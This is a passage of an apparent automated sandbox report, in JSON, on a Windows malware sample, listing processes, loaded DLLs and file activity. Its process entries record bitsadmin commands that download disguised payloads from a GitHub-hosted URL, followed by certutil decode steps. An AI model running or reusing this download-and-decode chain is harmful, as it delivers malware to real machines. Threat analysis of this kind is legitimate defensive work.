%PUBLIC%\\Libraries\\temporary\\falxconxrenwc.jpg.z","sha256":"838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00","normalized_path":"%WINDIR%\\SysWOW64\\bitsadmin.exe","parent_uid":"00035117-00001644","uid":"00035560-00003336"},{"pid":3912,"ppid":1644,"name":"certutil.exe","command_line":"-decode %PUBLIC%\\Libraries\\temporary\\falxconxrenwc.jpg.z %PUBLIC%\\Libraries\\temporary\\falxconxrenwc.jpg","sha256":"48850fb7229d99e48c3a749556684e962587058d612c659c58f8b8db2d00abee","normalized_path":"%WINDIR%\\SysWOW64\\certutil.exe","parent_uid":"00035117-00001644","uid":"00035602-00003912"},{"pid":3252,"ppid":1644,"name":"bitsadmin.exe","command_line":"/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwdwwn.gif.zip.log?693919877 %PUBLIC%\\Libraries\\temporary\\falxconxrenwdwwn.gif.z","sha256":"838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00","normalized_path":"%WINDIR%\\SysWOW64\\bitsadmin.exe","parent_uid":"00035117-00001644","uid":"00035634-00003252"},{"pid":3780,"ppid":1644,"name":"certutil.exe","command_line":"-decode %PUBLIC%\\Libraries\\temporary\\falxconxrenwdwwn.gif.z %PUBLIC%\\Libraries\\temporary\\falxconxrenwdwwn.gif","sha256":"48850fb7229d99e48c3a749556684e962587058d612c659c58f8b8db2d00abee","normalized_path":"%WINDIR%\\SysWOW64\\certutil.exe","parent_uid":"00035117-00001644","uid":"00035697-00003780"},{"pid":2672,"ppid":1644,"name":"bitsadmin.exe","command_line":"/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwdx.gif.zip.log?848848220 %PUBLIC%\\Libraries\\temporary\\falxconxrenwdx.gif.z","sha256":"838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00","normalized_path":"%WINDIR%\\SysWOW64\\bitsadmin.exe","parent_uid":"00035117-00001644","uid":"00035723-00002672"},{"pid":1412,"ppid":1644,"name":"certutil.exe","command_line":"-decode %PUBLIC%\\Libraries\\temporary\\falxconxrenwdx.gif.z %PUBLIC%\\Libraries\\temporary\\falxconxrenwdx.gif","sha256":"48850fb7229d99e48c3a749556684e962587058d612c659c58f8b8db2d00abee","normalized_path":"%WINDIR%\\SysWOW64\\certutil.exe","parent_uid":"00035117-00001644","uid":"00035765-00001412"},{"pid":3288,"ppid":1644,"name":"bitsadmin.exe","command_line":"/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwg.gif.zip.log?321439538 %PUBLIC%\\Libraries\\temporary\\falxconxrenwg.gif.z","sha256":"838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00","normalized_path":"%WINDIR%\\SysWOW64\\bitsadmin.exe","parent_uid":"00035117-00001644","uid":"00035803-00003288"},{"pid":3360,"ppid":1644,"name":"certutil.exe","command_line":"-decode %PUBLIC%\\Libraries\\temporary\\falxconxrenwg.gif.z %PUBLIC%\\Libraries\\temporary\\falxconxrenwg.gif","sha256":"48850fb7229d99e48c3a749556684e962587058d612c659c58f8b8db2d00abee","normalized_path":"%WINDIR%\\SysWOW64\\certutil.exe","parent_uid":"00035117-00001644","uid":"00035839-00003360"},{"pid":3316,"ppid":1644,"name":"bitsadmin.exe","command_line":"/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwgx.gif.zip.log?706982735 %PUBLIC%\\Libraries\\temporary\\falxconxrenwgx.gif.z","sha256":"838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00","normalized_path":"%WINDIR%\\SysWOW64\\bitsadmin.exe","parent_uid":"00035117-00001644","uid":"00035868-00003316"},{"pid":3464,"ppid":1644,"name":"certutil.exe","command_line":"-decode %PUBLIC%\\Libraries\\temporary\\falxconxrenwgx.gif.z %PUBLIC%\\Libraries\\temporary\\falxconxrenwgx.gif","sha256":"48850fb7229d99e48c3a749556684e962587058d612c659c58f8b8db2d00abee","normalized_path":"%WINDIR%\\SysWOW64\\certutil.exe","parent_uid":"00035117-00001644","uid":"00035902-00003464"},{"pid":3988,"ppid":1644,"name":"bitsadmin.exe","command_line":"/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwxa.gif.zip.log?459674814 %PUBLIC%\\Libraries\\temporary\\falxconxrenwxa.~.z","sha256":"838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00","normalized_path":"%WINDIR%\\SysWOW64\\bitsadmin.exe","parent_uid":"00035117-00001644","uid":"00035937-00003988"},{"pid":3716,"ppid":1644,"name":"certutil.exe","command_line":"-decode %PUBLIC%\\Libraries\\temporary\\falxconxrenwxa.~.z %PUBLIC%\\Libraries\\temporary\\falxconxrenwxa.~","sha256":"48850fb7229d99e48c3a749556684e962587058d612c659c58f8b8db2d00abee","normalized_path":"%WINDIR%\\SysWOW64\\certutil.exe","parent_uid":"00035117-00001644","uid":"00035975-00003716"},{"pid":1820,"ppid":1644,"name":"bitsadmin.exe","command_line":"/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwxb.gif.zip.log?675109326 %PUBLIC%\\Libraries\\temporary\\falxconxrenwxb.~.z","sha256":"838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00","normalized_path":"%WINDIR%\\SysWOW64\\bitsadmin.exe","parent_uid":"00035117-00001644","uid":"00036000-00001820"},{"pid":3396,"ppid":1644,"name":"certutil.exe","command_line":"-decode %PUBLIC%\\Libraries\\temporary\\falxconxrenwxb.~.z %PUBLIC%\\Libraries\\temporary\\falxconxrenwxb.~","sha256":"48850fb7229d99e48c3a749556684e962587058d612c659c58f8b8db2d00abee","normalized_path":"%WINDIR%\\SysWOW64\\certutil.exe","parent_uid":"00035117-00001644","uid":"00036093-00003396"},{"pid":1428,"ppid":1644,"name":"cmd.exe","command_line":"/V /K \"echo 139_TESLA_>%PUBLIC%\\Libraries\\temporary\\r1.log\"&& exit","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00035117-00001644","uid":"00036128-00001428"},{"pid":2204,"ppid":1644,"name":"bitsadmin.exe","command_line":"/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenw98.dll.zip.log?562539923 %PUBLIC%\\Libraries\\temporary\\falxconxrenw98.~.z","sha256":"838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00","normalized_path":"%WINDIR%\\SysWOW64\\bitsadmin.exe","parent_uid":"00035117-00001644","uid":"00036150-00002204"},{"pid":2488,"ppid":1644,"name":"certutil.exe","command_line":"-decode %PUBLIC%\\Libraries\\temporary\\falxconxrenw98.~.z %PUBLIC%\\Libraries\\temporary\\falxconxrenw98.~","sha256":"48850fb7229d99e48c3a749556684e962587058d612c659c58f8b8db2d00abee","normalized_path":"%WINDIR%\\SysWOW64\\certutil.exe","parent_uid":"00035117-00001644","uid":"00036227-00002488"},{"pid":2220,"ppid":1644,"name":"bitsadmin.exe","command_line":"/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwhh.dll.zip.log?630322429 %PUBLIC%\\Libraries\\temporary\\falxconxrenw64.~.z","sha256":"838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00","normalized_path":"%WINDIR%\\SysWOW64\\bitsadmin.exe","parent_uid":"00035117-00001644","uid":"00036265-00002220"},{"pid":3976,"ppid":1644,"name":"certutil.exe","command_line":"-decode %PUBLIC%\\Libraries\\temporary\\falxconxrenw64.~.z %PUBLIC%\\Libraries\\temporary\\falxconxrenw64.~","sha256":"48850fb7229d99e48c3a749556684e962587058d612c659c58f8b8db2d00abee","normalized_path":"%WINDIR%\\SysWOW64\\certutil.exe","parent_uid":"00035117-00001644","uid":"00036352-00003976"},{"pid":2480,"ppid":1644,"name":"cmd.exe","command_line":"/k echo %time% && timeout 4000 > NUL && exit","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00035117-00001644","uid":"00036389-00002480"},{"pid":1672,"ppid":2480,"name":"timeout.exe","command_line":"timeout 4000","sha256":"c4efafc49d46dba7e89cd94892799c739a3103f724fec9be494bf1267fdb059e","normalized_path":"%WINDIR%\\SysWOW64\\timeout.exe","parent_uid":"00036389-00002480","uid":"00036397-00001672"}],"all_imported_dlls":["wbemprox.dll","msxml3.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","KernelBase.dll","SensApi.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","version.dll","rsaenh.dll","fastprox.dll","wmiutils.dll","gdi32.dll","mswsock.dll","wintrust.dll","ole32.dll","msxml3r.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","wininet.dll","uxtheme.dll","msvcrt.dll","winbrand.dll","credssp.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-downlevel-user32-l1-1-0.dll","dnsapi.dll","winhttp.dll","netmsg.dll","msvcr90.dll","WSHTCPIP.DLL","rpcss.dll","gpapi.dll","usp10.dll","bcryptprimitives.dll","sspicli.dll","shlwapi.dll","IPHLPAPI.DLL","api-ms-win-downlevel-version-l1-1-0.dll","Wldap32.dll","oleaut32.dll","wtsapi32.dll","urlmon.dll","iertutil.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","cryptsp.dll","kernel32.dll","user32.dll","cryptbase.dll","dhcpcsvc.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","imm32.dll","dhcpcsvc6.dll","nlaapi.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","cfgmgr32.dll","secur32.dll","userenv.dll","ntdsapi.dll","wshqos.dll","FWPUCLNT.DLL","winnsi.dll","wbemcomn.dll","lpk.dll","netprofm.dll","ncrypt.dll","advapi32.dll","nsi.dll","bcrypt.dll","normaliz.dll","msctf.dll","comctl32.dll","sechost.dll","profapi.dll","shell32.dll","crypt32.dll","rasadhlp.dll","npmproxy.dll","msasn1.dll","webio.dll","apphelp.dll","ntdll.dll","rpcrt4.dll","framedynos.dll","ws2_32.dll","clbcatq.dll","RpcRtRemote.dll","wbemsvc.dll","basebrd.dll","MSOXMLMF.DLL","wship6.dll","schannel.dll","cryptnet.dll","cryptui.dll","wkscli.dll","logoncli.dll","sfc.dll","certcli.dll","netapi32.dll","devobj.dll","setupapi.dll","sfc_os.dll","cabinet.dll","samcli.dll","jscript.dll","netutils.dll","sxs.dll","atl.dll","wow64.dll","dsrole.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","propsys.dll","wow64win.dll","ntmarta.dll","scrrun.dll","srvcli.dll","dwmapi.dll","mpr.dll","ieframe.dll","wow64cpu.dll","tzres.dll","qmgrprxy.dll","msvcr100.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sha256":"4e0e354f5fbee82096aabdefdaf084dcc2ee9a132f5d1119ab6015ee3f366daa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"name":"CFE86DBBE02D859DC92F1E17E0574EE8_46766FC45507C0B9E264E4C18BC7288B","sha256":"9acd923d602ca4337ff3c5d4c482b050a6443301fec19a0a042b5e5d6a48d109","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"name":"BE8B021F9E811DFC8C8A28572A17C05A_F8C660BDA0A15C43A0E97ADAD6819DBB","sha256":"2fb94b1a19d720a11526db4f235ce5df4ccabc504f7ee220a3b19e43e0e51d8a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"name":"r1.log","sha256":"acae594a6fef0c777e710d212effac0e65ce9128c5543b5233c314840e5823ec","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"CFE86DBBE02D859DC92F1E17E0574EE8_FDB452422670E72EDD3FB3D65568F821","sha256":"db0ad6191770bff9043482b68acf62a4e25d4390a03274cfbe413675dd8c9cf5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"F5F320A94D4D2B4465D8F17E2BB2D351_FB7589BB714B2FB0B2CD2362A9121F63","sha256":"d50d1e3d4cd1ea92c26c370b2824ccbd04b6ab7e1ca7df257207a9bc85b904dc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"v_1_.txt","sha256":"177cf61d57a1099d987f828e6d11b843955d32ff239a24bab9edfe0148fcd4c0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"vv_1_.txt","sha256":"658c3edfd93104296e757f6a73289f09a3e588a1101e3867fdb44a2f27a21dc6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"urlref_httpsraw.githubusercontent.comaswxdxmaster09falxconxrenwxb.gif.zip.log675109326","sha256":"992d9d6dee58d6683027cf2667fde71de6261bc3596f1534be886f68ab53d76a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"urlref_httpsraw.githubusercontent.comaswxdxmaster09falxconxrenwgx.gif.zip.log706982735","sha256":"27c0d0410cfec4ce05623d83470e4f123cdb0978948179e56f162eeab19317d0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"urlref_httpsraw.githubusercontent.comaswxdxmaster09falxconxrenwg.gif.zip.log321439538","sha256":"2ca45e8686d0d00b60f9032eefca563044c46f61549ec57ef46ed48ec22a0cc0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"urlref_httpsraw.githubusercontent.comaswxdxmaster09falxconxrenwb.jpg.zip.log645494996","sha256":"b84b3ef041ad4041611cc9fd8d5eb9e528939ce9b1387de38393e0408c6204fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"urlref_httpsraw.githubusercontent.comaswxdxmaster09falxconxrenwxa.gif.zip.log459674814","sha256":"b73f04a86a4bdfdc307da6a49e1c753baa9504074200f8cf2a75e621b051160e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]}],"files_written":[{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"path":"%WINDIR%\\Branding\\Basebrd\\basebrd.dll","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\System32\\wbem\\WMIC.exe","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\WMIC.exe.mui","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"path":"%WINDIR%\\System32\\wbem\\xsl-mappings.xml","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\wmiutils.dll.mui","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\System32\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\CFE86DBBE02D859DC92F1E17E0574EE8_46766FC45507C0B9E264E4C18BC7288B","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\CFE86DBBE02D859DC92F1E17E0574EE8_46766FC45507C0B9E264E4C18BC7288B","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\BE8B021F9E811DFC8C8A28572A17C05A_F8C660BDA0A15C43A0E97ADAD6819DBB","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\CFE86DBBE02D859DC92F1E17E0574EE8_5FA8E5E800867BF860DF5E533E701BAF","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\85B3F147E3624A14E6A20DB4F6C2C5D9","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\BE8B021F9E811DFC8C8A28572A17C05A_F8C660BDA0A15C43A0E97ADAD6819DBB","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\BE8B021F9E811DFC8C8A28572A17C05A_911F90F78BD20E73CC1892FEF6429302","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\521F25E202FF760B8461B88413F425E7","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"path":"%WINDIR%\\system32\\en\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"path":"%WINDIR%\\System32\\netmsg.dll","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\CFE86DBBE02D859DC92F1E17E0574EE8_7F4AA74A3B6AAF7E85F2F3FE1488680F","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\F5F320A94D4D2B4465D8F17E2BB2D351_8F2C4C952A71257070212483CE99281B","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\01B16CDBADE7DB774141D7E30D50EC69","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CP53U0VR\\v[1].txt","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\wbem\\WMIC.exe","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\wbem\\en-US\\WMIC.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\wbem\\xsl-mappings.xml","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\wbem\\en-US\\wmiutils.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\CFE86DBBE02D859DC92F1E17E0574EE8_FDB452422670E72EDD3FB3D65568F821","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\CFE86DBBE02D859DC92F1E17E0574EE8_FDB452422670E72EDD3FB3D65568F821","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\F5F320A94D4D2B4465D8F17E2BB2D351_FB7589BB714B2FB0B2CD2362A9121F63","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\F5F320A94D4D2B4465D8F17E2BB2D351_FB7589BB714B2FB0B2CD2362A9121F63","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\VTO935KS\\vv[1].txt","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\scrrun.dll","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%PUBLIC%\\Libraries\\temporary","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"C:\\Users \\Public\\Libraries\\temporary","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\jscript.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\ieframe.dll","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\ieframe.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000019.db","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\bitsadmin.exe","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%WINDIR%\\SysWOW64\\certutil.exe","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%PUBLIC%\\Libraries\\temporary\\falxconxrenwa.jpg.z","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%PUBLIC%\\Libraries\\temporary\\falxconxrenwb.jpg.z","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%PUBLIC%\\Libraries\\temporary\\falxconxrenwc.jpg.z","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%PUBLIC%\\Libraries\\temporary\\falxconxrenwdwwn.gif.z","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%PUBLIC%\\Libraries\\temporary\\falxconxrenwdx.gif.z","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%PUBLIC%\\Libraries\\temporary\\falxconxrenwg.gif.z","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%PUBLIC%\\Libraries\\temporary\\falxconxrenwgx.gif.z","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%PUBLIC%\\Libraries\\temporary\\falxconxrenwxa.~.z","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"path":"%PUBLIC%\\Libraries\\temporary\\falxconxrenwxb.~.z","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f